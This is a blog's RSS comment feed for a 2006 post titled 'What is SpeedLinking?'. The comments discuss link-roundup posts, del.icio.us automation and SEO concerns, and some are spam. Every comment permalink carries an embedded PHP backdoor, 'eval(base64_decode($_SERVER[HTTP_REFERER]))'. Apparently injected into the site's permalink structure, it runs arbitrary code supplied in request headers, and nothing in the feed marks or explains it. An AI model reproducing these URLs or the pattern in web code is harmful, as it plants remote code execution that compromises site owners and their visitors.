Comments on: What is SpeedLinking? http://leonmink.com/blog/2006/12/09/what-is-speedlinking/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ thinking about life and technology into the wee hours of the night Fri, 10 Sep 2010 20:34:56 +0000 http://wordpress.org/?v=2.5.1 By: Gaje Master http://leonmink.com/blog/2006/12/09/what-is-speedlinking/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-2357 Gaje Master Fri, 11 Jul 2008 17:59:27 +0000 http://leonmink.com/blog/index.php/2006/12/09/what-is-speedlinking/#comment-2357 Finally a definition that everyone can understand. Finally a definition that everyone can understand.

]]> By: Help Desk Best Practice http://leonmink.com/blog/2006/12/09/what-is-speedlinking/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-1 Help Desk Best Practice Fri, 20 Jun 2008 10:51:33 +0000 http://leonmink.com/blog/index.php/2006/12/09/what-is-speedlinking/#comment-1 I found your blog via Google while searching for help desk best practice and your post regarding SpeedLinking? | Leon's Blog looks very interesting to me. I just wanted to tell you that your site is really awesome and is of a fantastic quality. The content is great and I will be returning. I found your blog via Google while searching for help desk best practice and your post regarding SpeedLinking? | Leon’s Blog looks very interesting to me. I just wanted to tell you that your site is really awesome and is of a fantastic quality. The content is great and I will be returning.

]]> By: Maria Langer, the Official Web Site* » links for 2007-05-10 http://leonmink.com/blog/2006/12/09/what-is-speedlinking/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-267 Maria Langer, the Official Web Site* » links for 2007-05-10 Thu, 10 May 2007 09:46:50 +0000 http://leonmink.com/blog/index.php/2006/12/09/what-is-speedlinking/#comment-267 [...] What is SpeedLinking? If you’ve ever seen “Speedlinking” posts and wondered what they’re all about, Leon explains it in this article of Leon’s Blog. The “This Just in…” category on this site features my del.icio.us-generated version of speedlinking. (tags: del.icio.us links blogging) [...] [...] What is SpeedLinking? If you’ve ever seen “Speedlinking” posts and wondered what they’re all about, Leon explains it in this article of Leon’s Blog. The “This Just in…” category on this site features my del.icio.us-generated version of speedlinking. (tags: del.icio.us links blogging) [...]

]]> By: Maria http://leonmink.com/blog/2006/12/09/what-is-speedlinking/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-263 Maria Wed, 09 May 2007 19:20:46 +0000 http://leonmink.com/blog/index.php/2006/12/09/what-is-speedlinking/#comment-263 I use "speedlinking" on my blog as well. In my case, it's automated using a feature at del.icou.us. Basically, I bookmark, comment on, and tag with keywords any post I either want to go back to in the future or think my site visitors might enjoy. In the middle of the night, del.icio.us runs a program that creates a post-by-email blog post for my site with the links, comments, and tags. It's extremely easy to do and it'll support any number of links. And if I don't bookmark anything during a 24-hour period, there's no speedlinking post. I wrote about how I use it here: http://www.marialanger.com/2006/06/29/delicious-links/ The article has links to instructions, if anyone's interested in giving it a try. My only gripe: not enough customization options. Otherwise, it works like a charm. I use “speedlinking” on my blog as well. In my case, it’s automated using a feature at del.icou.us. Basically, I bookmark, comment on, and tag with keywords any post I either want to go back to in the future or think my site visitors might enjoy. In the middle of the night, del.icio.us runs a program that creates a post-by-email blog post for my site with the links, comments, and tags. It’s extremely easy to do and it’ll support any number of links. And if I don’t bookmark anything during a 24-hour period, there’s no speedlinking post.

I wrote about how I use it here: http://www.marialanger.com/2006/06/29/delicious-links/
The article has links to instructions, if anyone’s interested in giving it a try.

My only gripe: not enough customization options. Otherwise, it works like a charm.

]]> By: Vario Creative Blog » Stupid Blog Tricks and the Traffic Stats of the Damned http://leonmink.com/blog/2006/12/09/what-is-speedlinking/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-241 Vario Creative Blog » Stupid Blog Tricks and the Traffic Stats of the Damned Fri, 27 Apr 2007 14:47:17 +0000 http://leonmink.com/blog/index.php/2006/12/09/what-is-speedlinking/#comment-241 [...] Speedlinking - Technorati ranks us based upon the number of inbound links we get.  Try doing a couple posts a [...] [...] Speedlinking - Technorati ranks us based upon the number of inbound links we get.  Try doing a couple posts a [...]

]]> By: Phil http://leonmink.com/blog/2006/12/09/what-is-speedlinking/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-73 Phil Fri, 15 Dec 2006 20:01:28 +0000 http://leonmink.com/blog/index.php/2006/12/09/what-is-speedlinking/#comment-73 I don't understand why we need something like speedlinking in our blogs? Since most of the speedlinking topics are most time web-related, blog readers that are not interested in webdesign will skip them on a blog that deals with various topics (personal blogs). I would rather use delicious to link to articles/postings. With delicious it's very easy to subscribe to a certain RSS-feed that covers a special topic (by the tag). And another nice feature is that links on delicious are networked to other tags/links/users. It's also possible to include your delicious-links in your favorite blogging-system. For wordpress checkout this page: <a href="http://codex.wordpress.org/Plugins/Delicious" rel="nofollow">codex.wordpress.org/plugins/delicious</a>. My opinion: Blogs -> good for <strong>creating</strong> content/opinions/... Delicious/Furl... -> posting links! I don’t understand why we need something like speedlinking in our blogs?
Since most of the speedlinking topics are most time web-related, blog readers that are not interested in webdesign will skip them on a blog that deals with various topics (personal blogs).

I would rather use delicious to link to articles/postings. With delicious it’s very easy to subscribe to a certain RSS-feed that covers a special topic (by the tag).
And another nice feature is that links on delicious are networked to other tags/links/users.

It’s also possible to include your delicious-links in your favorite blogging-system. For wordpress checkout this page: codex.wordpress.org/plugins/delicious.

My opinion:
Blogs -> good for creating content/opinions/…

Delicious/Furl… -> posting links!

]]> By: Clyde Fernandes http://leonmink.com/blog/2006/12/09/what-is-speedlinking/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-28 Clyde Fernandes Mon, 11 Dec 2006 07:53:01 +0000 http://leonmink.com/blog/index.php/2006/12/09/what-is-speedlinking/#comment-28 well thank you for the interesting read, reminds me about spamming as well. well thank you for the interesting read, reminds me about spamming as well.

]]> By: Trent http://leonmink.com/blog/2006/12/09/what-is-speedlinking/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-26 Trent Sun, 10 Dec 2006 18:57:33 +0000 http://leonmink.com/blog/index.php/2006/12/09/what-is-speedlinking/#comment-26 Speedlinking is great provided that there's some context for it. For example, my blog is a finance blog, so you can be sure that a speedlink post from me will link to stuff relevant to personal finance issues. However, on a "general" blog or a personal blog, these can be really dodgy, as the only common link between the links is the interest of the writer. Speedlinking is great provided that there’s some context for it. For example, my blog is a finance blog, so you can be sure that a speedlink post from me will link to stuff relevant to personal finance issues. However, on a “general” blog or a personal blog, these can be really dodgy, as the only common link between the links is the interest of the writer.

]]> By: QUESTION of the DAY http://leonmink.com/blog/2006/12/09/what-is-speedlinking/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-24 QUESTION of the DAY Sun, 10 Dec 2006 12:41:17 +0000 http://leonmink.com/blog/index.php/2006/12/09/what-is-speedlinking/#comment-24 * Fantastic article LEON! Thank you for this. Same as you, I also could not find a clear definition of SPEED LINKING (until now) and if I create an article on this subject I WILL be linking your page to it! Like yourself, I am also a new blogger who appreciates this type of helpful information. I hope you continue with it! Take Care : ) *
Fantastic article LEON!

Thank you for this. Same as you, I also could not find a clear definition of SPEED LINKING (until now) and if I create an article on this subject I WILL be linking your page to it!

Like yourself, I am also a new blogger who appreciates this type of helpful information. I hope you continue with it!

Take Care : )

]]> By: andrew wee http://leonmink.com/blog/2006/12/09/what-is-speedlinking/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-23 andrew wee Sun, 10 Dec 2006 12:37:38 +0000 http://leonmink.com/blog/index.php/2006/12/09/what-is-speedlinking/#comment-23 Hi Leon, tks for the mention. Speedlinking probably works best if you're doing thematic speedlinking, grouping posts according to category (eg. blogging) or following a trend (eg the google slap). i think the major negative about speedlinking is that if you're linking into link farms, splogs or other 'bad neighbourhoods' you can hurt your own SERP ranking in Google's eyes. but if you're linking to content blogs, you'd provide a service to your readers (who probably dont have time to subscribe to 50+ RSS feeds and keep up with everything). ps: you might find it useful to add the "email notification to blog comments" plugin which i've uploaded to www.whoisandrewwee.com/wordpressplugins Hi Leon,
tks for the mention.

Speedlinking probably works best if you’re doing thematic speedlinking, grouping posts according to category (eg. blogging) or following a trend (eg the google slap).

i think the major negative about speedlinking is that if you’re linking into link farms, splogs or other ‘bad neighbourhoods’ you can hurt your own SERP ranking in Google’s eyes.

but if you’re linking to content blogs, you’d provide a service to your readers (who probably dont have time to subscribe to 50+ RSS feeds and keep up with everything).

ps: you might find it useful to add the “email notification to blog comments” plugin which i’ve uploaded to http://www.whoisandrewwee.com/wordpressplugins

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